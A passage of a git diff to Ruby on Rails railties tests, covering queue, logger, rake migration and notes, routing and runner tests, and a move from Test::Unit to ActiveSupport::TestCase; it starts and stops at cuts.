+    test "in test mode, the queue can be observed" do
+      app("test")
+
+      jobs = (1..10).map do |id|
+        IdentifiableJob.new(id)
+      end
+
+      jobs.each do |job|
+        Rails.queue.push job
+      end
+
+      assert_equal jobs, Rails.queue.jobs
+    end
+
+    test "in test mode, adding an unmarshallable job will raise an exception" do
+      app("test")
+      anonymous_class_instance = Struct.new(:run).new
+      assert_raises TypeError do
+        Rails.queue.push anonymous_class_instance
+      end
+    end
+
+    test "attempting to marshal a queue will raise an exception" do
+      app("test")
+      assert_raises TypeError do
+        Marshal.dump Rails.queue
+      end
+    end
+
+    test "attempting to add a reference to itself to the queue will raise an exception" do
+      app("test")
+      job = {reference: Rails.queue}
+      assert_raises TypeError do
+        Rails.queue.push job
+      end
+    end
+
+    def setup_custom_queue
+      add_to_env_config "production", <<-RUBY
+        require "my_queue"
+        config.queue = MyQueue
+      RUBY
+
+      app_file "lib/my_queue.rb", <<-RUBY
+        class MyQueue
+          def push(job)
+            job.run
+          end
+        end
+      RUBY
+
+      app("production")
+    end
+
+    test "a custom queue implementation can be provided" do
+      setup_custom_queue
+
+      assert_kind_of MyQueue, Rails.queue[:default]
+
+      job = Struct.new(:id, :ran) do
+        def run
+          self.ran = true
+        end
+      end
+
+      job1 = job.new(1)
+      Rails.queue.push job1
+
+      assert_equal true, job1.ran
+    end
+
+    test "a custom consumer implementation can be provided" do
+      add_to_env_config "production", <<-RUBY
+        require "my_queue_consumer"
+        config.queue_consumer = MyQueueConsumer
+      RUBY
+
+      app_file "lib/my_queue_consumer.rb", <<-RUBY
+        class MyQueueConsumer < Rails::Queueing::ThreadedConsumer
+          attr_reader :started
+
+          def start
+            @started = true
+            self
+          end
+        end
+      RUBY
+
+      app("production")
+
+      assert_kind_of MyQueueConsumer, Rails.application.queue_consumer
+      assert Rails.application.queue_consumer.started
+    end
+
+    test "default consumer is not used with custom queue implementation" do
+      setup_custom_queue
+
+      assert_nil Rails.application.queue_consumer
+    end
+  end
+end
diff --git a/railties/test/application/rack/logger_test.rb b/railties/test/application/rack/logger_test.rb
index 387eb25525..2f5bd3a764 100644
--- a/railties/test/application/rack/logger_test.rb
+++ b/railties/test/application/rack/logger_test.rb
@@ -4,7 +4,8 @@ require "rack/test"
 
 module ApplicationTests
   module RackTests
-    class LoggerTest < Test::Unit::TestCase
+    class LoggerTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
       include ActiveSupport::LogSubscriber::TestHelper
       include Rack::Test::Methods
 
@@ -17,6 +18,7 @@ module ApplicationTests
       end
 
       def teardown
+        super
         teardown_app
       end
 
@@ -24,12 +26,18 @@ module ApplicationTests
         @logs ||= @logger.logged(:info)
       end
 
-      test "logger logs proper HTTP verb and path" do
+      test "logger logs proper HTTP GET verb and path" do
         get "/blah"
         wait
         assert_match(/^Started GET "\/blah"/, logs[0])
       end
 
+      test "logger logs proper HTTP HEAD verb and path" do
+        head "/blah"
+        wait
+        assert_match(/^Started HEAD "\/blah"/, logs[0])
+      end
+
       test "logger logs HTTP verb override" do
         post "/", {:_method => 'put'}
         wait
diff --git a/railties/test/application/rackup_test.rb b/railties/test/application/rackup_test.rb
index ff9cdcadc7..49ac9fc66c 100644
--- a/railties/test/application/rackup_test.rb
+++ b/railties/test/application/rackup_test.rb
@@ -1,12 +1,12 @@
 require "isolation/abstract_unit"
 
 module ApplicationTests
-  class RackupTest < Test::Unit::TestCase
+  class RackupTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def rackup
       require "rack"
-      app, options = Rack::Builder.parse_file("#{app_path}/config.ru")
+      app, _ = Rack::Builder.parse_file("#{app_path}/config.ru")
       app
     end
 
diff --git a/railties/test/application/rake/migrations_test.rb b/railties/test/application/rake/migrations_test.rb
new file mode 100644
index 0000000000..0a47fd014c
--- /dev/null
+++ b/railties/test/application/rake/migrations_test.rb
@@ -0,0 +1,158 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  module RakeTests
+    class RakeMigrationsTest < ActiveSupport::TestCase
+      def setup
+        build_app
+        boot_rails
+        FileUtils.rm_rf("#{app_path}/config/environments")
+      end
+
+      def teardown
+        teardown_app
+      end
+
+      test 'running migrations with given scope' do
+        Dir.chdir(app_path) do
+          `rails generate model user username:string password:string`
+
+          app_file "db/migrate/01_a_migration.bukkits.rb", <<-MIGRATION
+            class AMigration < ActiveRecord::Migration
+            end
+          MIGRATION
+
+          output = `rake db:migrate SCOPE=bukkits`
+          assert_no_match(/create_table\(:users\)/, output)
+          assert_no_match(/CreateUsers/, output)
+          assert_no_match(/add_column\(:users, :email, :string\)/, output)
+
+          assert_match(/AMigration: migrated/, output)
+
+          output = `rake db:migrate SCOPE=bukkits VERSION=0`
+          assert_no_match(/drop_table\(:users\)/, output)
+          assert_no_match(/CreateUsers/, output)
+          assert_no_match(/remove_column\(:users, :email\)/, output)
+
+          assert_match(/AMigration: reverted/, output)
+        end
+      end
+
+      test 'model and migration generator with change syntax' do
+        Dir.chdir(app_path) do
+          `rails generate model user username:string password:string;
+           rails generate migration add_email_to_users email:string`
+
+           output = `rake db:migrate`
+           assert_match(/create_table\(:users\)/, output)
+           assert_match(/CreateUsers: migrated/, output)
+           assert_match(/add_column\(:users, :email, :string\)/, output)
+           assert_match(/AddEmailToUsers: migrated/, output)
+
+           output = `rake db:rollback STEP=2`
+           assert_match(/drop_table\("users"\)/, output)
+           assert_match(/CreateUsers: reverted/, output)
+           assert_match(/remove_column\("users", :email\)/, output)
+           assert_match(/AddEmailToUsers: reverted/, output)
+        end
+      end
+
+      test 'migration status when schema migrations table is not present' do
+        output = Dir.chdir(app_path){ `rake db:migrate:status` }
+        assert_equal "Schema migrations table does not exist yet.\n", output
+      end
+
+      test 'test migration status' do
+        Dir.chdir(app_path) do
+          `rails generate model user username:string password:string;
+           rails generate migration add_email_to_users email:string;
+           rake db:migrate`
+
+          output = `rake db:migrate:status`
+
+          assert_match(/up\s+\d{14}\s+Create users/, output)
+          assert_match(/up\s+\d{14}\s+Add email to users/, output)
+
+          `rake db:rollback STEP=1`
+          output = `rake db:migrate:status`
+
+          assert_match(/up\s+\d{14}\s+Create users/, output)
+          assert_match(/down\s+\d{14}\s+Add email to users/, output)
+        end
+      end
+
+      test 'migration status without timestamps' do
+        add_to_config('config.active_record.timestamped_migrations = false')
+
+        Dir.chdir(app_path) do
+          `rails generate model user username:string password:string;
+           rails generate migration add_email_to_users email:string;
+           rake db:migrate`
+
+          output = `rake db:migrate:status`
+
+          assert_match(/up\s+\d{3,}\s+Create users/, output)
+          assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+
+          `rake db:rollback STEP=1`
+          output = `rake db:migrate:status`
+
+          assert_match(/up\s+\d{3,}\s+Create users/, output)
+          assert_match(/down\s+\d{3,}\s+Add email to users/, output)
+        end
+      end
+
+      test 'test migration status after rollback and redo' do
+        Dir.chdir(app_path) do
+          `rails generate model user username:string password:string;
+           rails generate migration add_email_to_users email:string;
+           rake db:migrate`
+
+           output = `rake db:migrate:status`
+
+           assert_match(/up\s+\d{14}\s+Create users/, output)
+           assert_match(/up\s+\d{14}\s+Add email to users/, output)
+
+           `rake db:rollback STEP=2`
+           output = `rake db:migrate:status`
+
+           assert_match(/down\s+\d{14}\s+Create users/, output)
+           assert_match(/down\s+\d{14}\s+Add email to users/, output)
+
+           `rake db:migrate:redo`
+           output = `rake db:migrate:status`
+
+           assert_match(/up\s+\d{14}\s+Create users/, output)
+           assert_match(/up\s+\d{14}\s+Add email to users/, output)
+        end
+      end
+
+      test 'migration status after rollback and redo without timestamps' do
+        add_to_config('config.active_record.timestamped_migrations = false')
+
+        Dir.chdir(app_path) do
+          `rails generate model user username:string password:string;
+           rails generate migration add_email_to_users email:string;
+           rake db:migrate`
+
+           output = `rake db:migrate:status`
+
+           assert_match(/up\s+\d{3,}\s+Create users/, output)
+           assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+
+           `rake db:rollback STEP=2`
+           output = `rake db:migrate:status`
+
+           assert_match(/down\s+\d{3,}\s+Create users/, output)
+           assert_match(/down\s+\d{3,}\s+Add email to users/, output)
+
+           `rake db:migrate:redo`
+           output = `rake db:migrate:status`
+
+           assert_match(/up\s+\d{3,}\s+Create users/, output)
+           assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rake/notes_test.rb b/railties/test/application/rake/notes_test.rb
new file mode 100644
index 0000000000..27de75b63b
--- /dev/null
+++ b/railties/test/application/rake/notes_test.rb
@@ -0,0 +1,138 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  module RakeTests
+    class RakeNotesTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+
+      def setup
+        build_app
+        require "rails/all"
+        super
+      end
+
+      def teardown
+        super
+        teardown_app
+      end
+
+      test 'notes finds notes for certain file_types' do
+        app_file "app/views/home/index.html.erb", "<% # TODO: note in erb %>"
+        app_file "app/views/home/index.html.haml", "-# TODO: note in haml"
+        app_file "app/views/home/index.html.slim", "/ TODO: note in slim"
+        app_file "app/assets/javascripts/application.js.coffee", "# TODO: note in coffee"
+        app_file "app/assets/javascripts/application.js", "// TODO: note in js"
+        app_file "app/assets/stylesheets/application.css", "// TODO: note in css"
+        app_file "app/assets/stylesheets/application.css.scss", "// TODO: note in scss"
+        app_file "app/controllers/application_controller.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in ruby"
+
+        boot_rails
+        require 'rake'
+        require 'rdoc/task'
+        require 'rake/testtask'
+
+        Rails.application.load_tasks
+
+        Dir.chdir(app_path) do
+          output = `bundle exec rake notes`
+          lines = output.scan(/\[([0-9\s]+)\](\s)/)
+
+          assert_match(/note in erb/, output)
+          assert_match(/note in haml/, output)
+          assert_match(/note in slim/, output)
+          assert_match(/note in ruby/, output)
+          assert_match(/note in coffee/, output)
+          assert_match(/note in js/, output)
+          assert_match(/note in css/, output)
+          assert_match(/note in scss/, output)
+
+          assert_equal 8, lines.size
+
+          lines.each do |line|
+            assert_equal 4, line[0].size
+            assert_equal ' ', line[1]
+          end
+        end
+      end
+
+      test 'notes finds notes in default directories' do
+        app_file "app/controllers/some_controller.rb", "# TODO: note in app directory"
+        app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
+        app_file "lib/some_file.rb", "# TODO: note in lib directory"
+        app_file "script/run_something.rb", "# TODO: note in script directory"
+        app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
+
+        app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
+
+        boot_rails
+
+        require 'rake'
+        require 'rdoc/task'
+        require 'rake/testtask'
+
+        Rails.application.load_tasks
+
+        Dir.chdir(app_path) do
+          output = `bundle exec rake notes`
+          lines = output.scan(/\[([0-9\s]+)\]/).flatten
+
+          assert_match(/note in app directory/, output)
+          assert_match(/note in config directory/, output)
+          assert_match(/note in lib directory/, output)
+          assert_match(/note in script directory/, output)
+          assert_match(/note in test directory/, output)
+          assert_no_match(/note in some_other directory/, output)
+
+          assert_equal 5, lines.size
+
+          lines.each do |line_number|
+            assert_equal 4, line_number.size
+          end
+        end
+      end
+
+      test 'notes finds notes in custom directories' do
+        app_file "app/controllers/some_controller.rb", "# TODO: note in app directory"
+        app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
+        app_file "lib/some_file.rb", "# TODO: note in lib directory"
+        app_file "script/run_something.rb", "# TODO: note in script directory"
+        app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
+
+        app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
+
+        boot_rails
+
+        require 'rake'
+        require 'rdoc/task'
+        require 'rake/testtask'
+
+        Rails.application.load_tasks
+
+        Dir.chdir(app_path) do
+          output = `SOURCE_ANNOTATION_DIRECTORIES='some_other_dir' bundle exec rake notes`
+          lines = output.scan(/\[([0-9\s]+)\]/).flatten
+
+          assert_match(/note in app directory/, output)
+          assert_match(/note in config directory/, output)
+          assert_match(/note in lib directory/, output)
+          assert_match(/note in script directory/, output)
+          assert_match(/note in test directory/, output)
+
+          assert_match(/note in some_other directory/, output)
+
+          assert_equal 6, lines.size
+
+          lines.each do |line_number|
+            assert_equal 4, line_number.size
+          end
+        end
+      end
+
+      private
+      def boot_rails
+        super
+        require "#{app_path}/config/environment"
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb
index c76bc3d526..b05fe3aed5 100644
--- a/railties/test/application/rake_test.rb
+++ b/railties/test/application/rake_test.rb
@@ -2,7 +2,7 @@
 require "isolation/abstract_unit"
 
 module ApplicationTests
-  class RakeTest < Test::Unit::TestCase
+  class RakeTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
@@ -55,6 +55,29 @@ module ApplicationTests
       assert_match "Doing something...", output
     end
 
+    def test_does_not_explode_when_accessing_a_model_with_eager_load
+      add_to_config <<-RUBY
+        config.eager_load = true
+
+        rake_tasks do
+          task :do_nothing => :environment do
+            Hello.new.world
+          end
+        end
+      RUBY
+
+      app_file "app/models/hello.rb", <<-RUBY
+      class Hello
+        def world
+          puts "Hello world"
+        end
+      end
+      RUBY
+
+      output = Dir.chdir(app_path){ `rake do_nothing` }
+      assert_match "Hello world", output
+    end
+
     def test_code_statistics_sanity
       assert_match "Code LOC: 5     Test LOC: 0     Code to Test Ratio: 1:0.0",
         Dir.chdir(app_path){ `rake stats` }
@@ -63,26 +86,23 @@ module ApplicationTests
     def test_rake_test_error_output
       Dir.chdir(app_path){ `rake db:migrate` }
 
-      app_file "config/database.yml", <<-RUBY
-        development:
-      RUBY
-
       app_file "test/unit/one_unit_test.rb", <<-RUBY
+        raise 'unit'
       RUBY
 
       app_file "test/functional/one_functional_test.rb", <<-RUBY
-        raise RuntimeError
+        raise 'functional'
       RUBY
 
       app_file "test/integration/one_integration_test.rb", <<-RUBY
-        raise RuntimeError
+        raise 'integration'
       RUBY
 
       silence_stderr do
-        output = Dir.chdir(app_path){ `rake test` }
-        assert_match(/Errors running test:units! #<ActiveRecord::AdapterNotSpecified/, output)
-        assert_match(/Errors running test:functionals! #<RuntimeError/, output)
-        assert_match(/Errors running test:integration! #<RuntimeError/, output)
+        output = Dir.chdir(app_path) { `rake test 2>&1` }
+        assert_match 'unit', output
+        assert_match 'functional', output
+        assert_match 'integration', output
       end
     end
 
@@ -108,98 +128,131 @@ module ApplicationTests
       assert_match "Sample log message", output
     end
 
-    def test_model_and_migration_generator_with_change_syntax
+    def test_loading_specific_fixtures
       Dir.chdir(app_path) do
-        `rails generate model user username:string password:string`
-        `rails generate migration add_email_to_users email:string`
+        `rails generate model user username:string password:string;
+         rails generate model product name:string;
+         rake db:migrate`
       end
 
-      output = Dir.chdir(app_path){ `rake db:migrate` }
-      assert_match(/create_table\(:users\)/, output)
-      assert_match(/CreateUsers: migrated/, output)
-      assert_match(/add_column\(:users, :email, :string\)/, output)
-      assert_match(/AddEmailToUsers: migrated/, output)
+      require "#{rails_root}/config/environment"
 
-      output = Dir.chdir(app_path){ `rake db:rollback STEP=2` }
-      assert_match(/drop_table\("users"\)/, output)
-      assert_match(/CreateUsers: reverted/, output)
-      assert_match(/remove_column\("users", :email\)/, output)
-      assert_match(/AddEmailToUsers: reverted/, output)
-    end
+      # loading a specific fixture
+      errormsg = Dir.chdir(app_path) { `rake db:fixtures:load FIXTURES=products` }
+      assert $?.success?, errormsg
 
-    def test_migration_status_when_schema_migrations_table_is_not_present
-      output = Dir.chdir(app_path){ `rake db:migrate:status` }
-      assert_equal "Schema migrations table does not exist yet.\n", output
+      assert_equal 2, ::AppTemplate::Application::Product.count
+      assert_equal 0, ::AppTemplate::Application::User.count
     end
 
-    def test_migration_status
+    def test_loading_only_yml_fixtures
       Dir.chdir(app_path) do
-        `rails generate model user username:string password:string`
-        `rails generate migration add_email_to_users email:string`
+        `rake db:migrate`
       end
 
-      Dir.chdir(app_path) { `rake db:migrate`}
-      output = Dir.chdir(app_path) { `rake db:migrate:status` }
+      app_file "test/fixtures/products.csv", ""
 
-      assert_match(/up\s+\d{14}\s+Create users/, output)
-      assert_match(/up\s+\d{14}\s+Add email to users/, output)
+      require "#{rails_root}/config/environment"
+      errormsg = Dir.chdir(app_path) { `rake db:fixtures:load` }
+      assert $?.success?, errormsg
+    end
 
-      Dir.chdir(app_path) { `rake db:rollback STEP=1` }
-      output = Dir.chdir(app_path) { `rake db:migrate:status` }
+    def test_scaffold_tests_pass_by_default
+      output = Dir.chdir(app_path) do
+        `rails generate scaffold user username:string password:string;
+         bundle exec rake db:migrate db:test:clone test`
+      end
 
-      assert_match(/up\s+\d{14}\s+Create users/, output)
-      assert_match(/down\s+\d{14}\s+Add email to users/, output)
+      assert_match(/7 tests, 13 assertions, 0 failures, 0 errors/, output)
+      assert_no_match(/Errors running/, output)
     end
 
-    def test_migration_status_after_rollback_and_redo
-      Dir.chdir(app_path) do
-        `rails generate model user username:string password:string`
-        `rails generate migration add_email_to_users email:string`
+    def test_db_test_clone_when_using_sql_format
+      add_to_config "config.active_record.schema_format = :sql"
+      output = Dir.chdir(app_path) do
+        `rails generate scaffold user username:string;
+         bundle exec rake db:migrate db:test:clone 2>&1 --trace`
       end
+      assert_match(/Execute db:test:clone_structure/, output)
+    end
 
-      Dir.chdir(app_path) { `rake db:migrate`}
-      output = Dir.chdir(app_path) { `rake db:migrate:status` }
+    def test_db_test_prepare_when_using_sql_format
+      add_to_config "config.active_record.schema_format = :sql"
+      output = Dir.chdir(app_path) do
+        `rails generate scaffold user username:string;
+         bundle exec rake db:migrate db:test:prepare 2>&1 --trace`
+      end
+      assert_match(/Execute db:test:load_structure/, output)
+    end
 
-      assert_match(/up\s+\d{14}\s+Create users/, output)
-      assert_match(/up\s+\d{14}\s+Add email to users/, output)
+    def test_rake_dump_structure_should_respect_db_structure_env_variable
+      Dir.chdir(app_path) do
+        # ensure we have a schema_migrations table to dump
+        `bundle exec rake db:migrate db:structure:dump DB_STRUCTURE=db/my_structure.sql`
+      end
+      assert File.exists?(File.join(app_path, 'db', 'my_structure.sql'))
+    end
 
-      Dir.chdir(app_path) { `rake db:rollback STEP=2` }
-      output = Dir.chdir(app_path) { `rake db:migrate:status` }
+    def test_rake_dump_structure_should_be_called_twice_when_migrate_redo
+      add_to_config "config.active_record.schema_format = :sql"
 
-      assert_match(/down\s+\d{14}\s+Create users/, output)
-      assert_match(/down\s+\d{14}\s+Add email to users/, output)
+      output = Dir.chdir(app_path) do
+        `rails g model post title:string;
+         bundle exec rake db:migrate:redo 2>&1 --trace;`
+      end
 
-      Dir.chdir(app_path) { `rake db:migrate:redo` }
-      output = Dir.chdir(app_path) { `rake db:migrate:status` }
+      # expect only Invoke db:structure:dump (first_time)
+      assert_no_match(/^\*\* Invoke db:structure:dump\s+$/, output)
+    end
 
-      assert_match(/up\s+\d{14}\s+Create users/, output)
-      assert_match(/up\s+\d{14}\s+Add email to users/, output)
+    def test_rake_dump_schema_cache
+      Dir.chdir(app_path) do
+        `rails generate model post title:string;
+         rails generate model product name:string;
+         bundle exec rake db:migrate db:schema:cache:dump`
+      end
+      assert File.exists?(File.join(app_path, 'db', 'schema_cache.dump'))
     end
 
-    def test_loading_specific_fixtures
+    def test_rake_clear_schema_cache
       Dir.chdir(app_path) do
-        `rails generate model user username:string password:string`
-        `rails generate model product name:string`
-        `rake db:migrate`
+        `bundle exec rake db:schema:cache:dump db:schema:cache:clear`
       end
+      assert !File.exists?(File.join(app_path, 'db', 'schema_cache.dump'))
+    end
 
-      require "#{rails_root}/config/environment"
+    def test_load_activerecord_base_when_we_use_observers
+      Dir.chdir(app_path) do
+        `bundle exec rails g model user;
+         bundle exec rake db:migrate;
+         bundle exec rails g observer user;`
 
-      # loading a specific fixture
-      errormsg = Dir.chdir(app_path) { `rake db:fixtures:load FIXTURES=products` }
-      assert $?.success?, errormsg
+        add_to_config "config.active_record.observers = :user_observer"
 
-      assert_equal 2, ::AppTemplate::Application::Product.count
-      assert_equal 0, ::AppTemplate::Application::User.count
-    end
+        assert_equal "0", `bundle exec rails r "puts User.count"`.strip
 
-    def test_scaffold_tests_pass_by_default
-      content = Dir.chdir(app_path) do
-        `rails generate scaffold user username:string password:string`
-        `bundle exec rake db:migrate db:test:clone test`
+        app_file "lib/tasks/count_user.rake", <<-RUBY
+          namespace :user do
+            task :count => :environment do
+              puts User.count
+            end
+          end
+        RUBY
+
+        assert_equal "0", `bundle exec rake user:count`.strip
       end
+    end
 
-      assert_match(/7 tests, 10 assertions, 0 failures, 0 errors/, content)
+    def test_copy_templates
+      Dir.chdir(app_path) do
+        `bundle exec rake rails:templates:copy`
+        %w(controller mailer scaffold).each do |dir|
+          assert File.exists?(File.join(app_path, 'lib', 'templates', 'erb', dir))
+        end
+        %w(controller helper scaffold_controller assets).each do |dir|
+          assert File.exists?(File.join(app_path, 'lib', 'templates', 'rails', dir))
+        end
+      end
     end
   end
 end
diff --git a/railties/test/application/route_inspect_test.rb b/railties/test/application/route_inspect_test.rb
deleted file mode 100644
index 78980705ed..0000000000
--- a/railties/test/application/route_inspect_test.rb
+++ /dev/null
@@ -1,105 +0,0 @@
-require 'test/unit'
-require 'rails/application/route_inspector'
-require 'action_controller'
-
-module ApplicationTests
-  class RouteInspectTest < Test::Unit::TestCase
-    def setup
-      @set = ActionDispatch::Routing::RouteSet.new
-      @inspector = Rails::Application::RouteInspector.new
-    end
-
-    def test_cart_inspect
-      @set.draw do
-        get '/cart', :to => 'cart#show'
-      end
-      output = @inspector.format @set.routes
-      assert_equal ["cart GET /cart(.:format) cart#show"], output
-    end
-
-    def test_inspect_shows_custom_assets
-      @set.draw do
-        get '/custom/assets', :to => 'custom_assets#show'
-      end
-      output = @inspector.format @set.routes
-      assert_equal ["custom_assets GET /custom/assets(.:format) custom_assets#show"], output
-    end
-
-    def test_inspect_routes_shows_resources_route
-      @set.draw do
-        resources :articles
-      end
-      output = @inspector.format @set.routes
-      expected = [
-        "    articles GET    /articles(.:format)          articles#index",
-        "             POST   /articles(.:format)          articles#create",
-        " new_article GET    /articles/new(.:format)      articles#new",
-        "edit_article GET    /articles/:id/edit(.:format) articles#edit",
-        "     article GET    /articles/:id(.:format)      articles#show",
-        "             PUT    /articles/:id(.:format)      articles#update",
-        "             DELETE /articles/:id(.:format)      articles#destroy" ]
-      assert_equal expected, output
-    end
-
-    def test_inspect_routes_shows_root_route
-      @set.draw do
-        root :to => 'pages#main'
-      end
-      output = @inspector.format @set.routes
-      assert_equal ["root  / pages#main"], output
-    end
-
-    def test_inspect_routes_shows_dynamic_action_route
-      @set.draw do
-        match 'api/:action' => 'api'
-      end
-      output = @inspector.format @set.routes
-      assert_equal ["  /api/:action(.:format) api#:action"], output
-    end
-
-    def test_inspect_routes_shows_controller_and_action_only_route
-      @set.draw do
-        match ':controller/:action'
-      end
-      output = @inspector.format @set.routes
-      assert_equal ["  /:controller/:action(.:format) :controller#:action"], output
-    end
-
-    def test_inspect_routes_shows_controller_and_action_route_with_constraints
-      @set.draw do
-        match ':controller(/:action(/:id))', :id => /\d+/
-      end
-      output = @inspector.format @set.routes
-      assert_equal ["  /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"], output
-    end
-
-    def test_rake_routes_shows_route_with_defaults
-      @set.draw do
-        match 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'}
-      end
-      output = @inspector.format @set.routes
-      assert_equal [%Q[  /photos/:id(.:format) photos#show {:format=>"jpg"}]], output
-    end
-
-    def test_rake_routes_shows_route_with_constraints
-      @set.draw do
-        match 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/
-      end
-      output = @inspector.format @set.routes
-      assert_equal ["  /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"], output
-    end
-
-    class RackApp
-      def self.call(env)
-      end
-    end
-
-    def test_rake_routes_shows_route_with_rack_app
-      @set.draw do
-        match 'foo/:id' => RackApp, :id => /[A-Z]\d{5}/
-      end
-      output = @inspector.format @set.routes
-      assert_equal ["  /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"], output
-    end
-  end
-end
diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb
index a05e39658d..396b1849d8 100644
--- a/railties/test/application/routing_test.rb
+++ b/railties/test/application/routing_test.rb
@@ -2,7 +2,7 @@ require 'isolation/abstract_unit'
 require 'rack/test'
 
 module ApplicationTests
-  class RoutingTest < Test::Unit::TestCase
+  class RoutingTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
     include Rack::Test::Methods
 
@@ -15,12 +15,24 @@ module ApplicationTests
       teardown_app
     end
 
+    test "rails/info/routes in development" do
+      app("development")
+      get "/rails/info/routes"
+      assert_equal 200, last_response.status
+    end
+
     test "rails/info/properties in development" do
       app("development")
       get "/rails/info/properties"
       assert_equal 200, last_response.status
     end
 
+    test "rails/info/routes in production" do
+      app("production")
+      get "/rails/info/routes"
+      assert_equal 404, last_response.status
+    end
+
     test "rails/info/properties in production" do
       app("production")
       get "/rails/info/properties"
@@ -53,7 +65,7 @@ module ApplicationTests
 
       app_file 'config/routes.rb', <<-RUBY
         AppTemplate::Application.routes.draw do
-          match ':controller(/:action)'
+          get ':controller(/:action)'
         end
       RUBY
 
@@ -94,7 +106,7 @@ module ApplicationTests
 
       app_file 'config/routes.rb', <<-RUBY
         AppTemplate::Application.routes.draw do
-          match ':controller(/:action)'
+          get ':controller(/:action)'
         end
       RUBY
 
@@ -126,8 +138,8 @@ module ApplicationTests
 
       app_file 'config/routes.rb', <<-RUBY
         AppTemplate::Application.routes.draw do
-          match 'admin/foo', :to => 'admin/foo#index'
-          match 'foo', :to => 'foo#index'
+          get 'admin/foo', :to => 'admin/foo#index'
+          get 'foo', :to => 'foo#index'
         end
       RUBY
 
@@ -141,13 +153,13 @@ module ApplicationTests
     test "routes appending blocks" do
       app_file 'config/routes.rb', <<-RUBY
         AppTemplate::Application.routes.draw do
-          match ':controller/:action'
+          get ':controller/:action'
         end
       RUBY
 
       add_to_config <<-R
         routes.append do
-          match '/win' => lambda { |e| [200, {'Content-Type'=>'text/plain'}, ['WIN']] }
+          get '/win' => lambda { |e| [200, {'Content-Type'=>'text/plain'}, ['WIN']] }
         end
       R
 
@@ -158,7 +170,7 @@ module ApplicationTests
 
       app_file 'config/routes.rb', <<-R
         AppTemplate::Application.routes.draw do
-          match 'lol' => 'hello#index'
+          get 'lol' => 'hello#index'
         end
       R
 
@@ -182,7 +194,7 @@ module ApplicationTests
 
         app_file 'config/routes.rb', <<-RUBY
           AppTemplate::Application.routes.draw do
-            match 'foo', :to => 'foo#bar'
+            get 'foo', :to => 'foo#bar'
           end
         RUBY
 
@@ -193,7 +205,7 @@ module ApplicationTests
 
         app_file 'config/routes.rb', <<-RUBY
           AppTemplate::Application.routes.draw do
-            match 'foo', :to => 'foo#baz'
+            get 'foo', :to => 'foo#baz'
           end
         RUBY
 
@@ -214,7 +226,7 @@ module ApplicationTests
 
       app_file 'config/routes.rb', <<-RUBY
         AppTemplate::Application.routes.draw do
-          match 'foo', :to => ::InitializeRackApp
+          get 'foo', :to => ::InitializeRackApp
         end
       RUBY
 
diff --git a/railties/test/application/runner_test.rb b/railties/test/application/runner_test.rb
index 4468fa295e..81ed5873a5 100644
--- a/railties/test/application/runner_test.rb
+++ b/railties/test/application/runner_test.rb
@@ -1,7 +1,7 @@
 require 'isolation/abstract_unit'
 
 module ApplicationTests
-  class RunnerTest < Test::Unit::TestCase
+  class RunnerTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
@@ -57,5 +57,15 @@ module ApplicationTests
 
       assert_match "script/program_name.rb", Dir.chdir(app_path) { `bundle exec rails runner "script/program_name.rb"` }
     end
+
+    def test_with_hook
+      add_to_config <<-RUBY
+        runner do |app|
+          app.config.ran = true
+        end
+      RUBY
+
+      assert_match "true", Dir.chdir(app_path) { `bundle exec rails runner "puts Rails.application.config.ran"` }
+    end
   end
 end
diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb
index 27a7959e84..f6bcaa466a 100644
--- a/railties/test/application/test_test.rb
+++ b/railties/test/application/test_test.rb
@@ -1,7 +1,7 @@
 require 'isolation/abstract_unit'
 
 module ApplicationTests
-  class TestTest < Test::Unit::TestCase
+  class TestTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
@@ -24,24 +24,7 @@ module ApplicationTests
         end
       RUBY
 
-      run_test 'unit/foo_test.rb'
-    end
-
-    # Run just in Ruby < 1.9
-    if defined?(Test::Unit::Util::BacktraceFilter)
-      test "adds backtrace cleaner" do
-        app_file 'test/unit/backtrace_test.rb', <<-RUBY
-          require 'test_helper'
-
-          class FooTest < ActiveSupport::TestCase
-            def test_truth
-              assert Test::Unit::Util::BacktraceFilter.ancestors.include?(Rails::BacktraceFilterForTestUnit)
-            end
-          end
-        RUBY
-
-        run_test 'unit/backtrace_test.rb'
-      end
+      run_test_file 'unit/foo_test.rb'
     end
 
     test "integration test" do
@@ -66,7 +49,7 @@ module ApplicationTests
         end
       RUBY
 
-      run_test 'integration/posts_test.rb'
+      run_test_file 'integration/posts_test.rb'
     end
 
     test "performance test" do
@@ -91,11 +74,11 @@ module ApplicationTests
         end
       RUBY
 
-      run_test 'performance/posts_test.rb'
+      run_test_file 'performance/posts_test.rb'
     end
 
     private
-      def run_test(name)
+      def run_test_file(name)
         result = ruby '-Itest', "#{app_path}/test/#{name}"
         assert_equal 0, $?.to_i, result
       end
diff --git a/railties/test/application/url_generation_test.rb b/railties/test/application/url_generation_test.rb
index 2b6ec26cd0..f7e60749a7 100644
--- a/railties/test/application/url_generation_test.rb
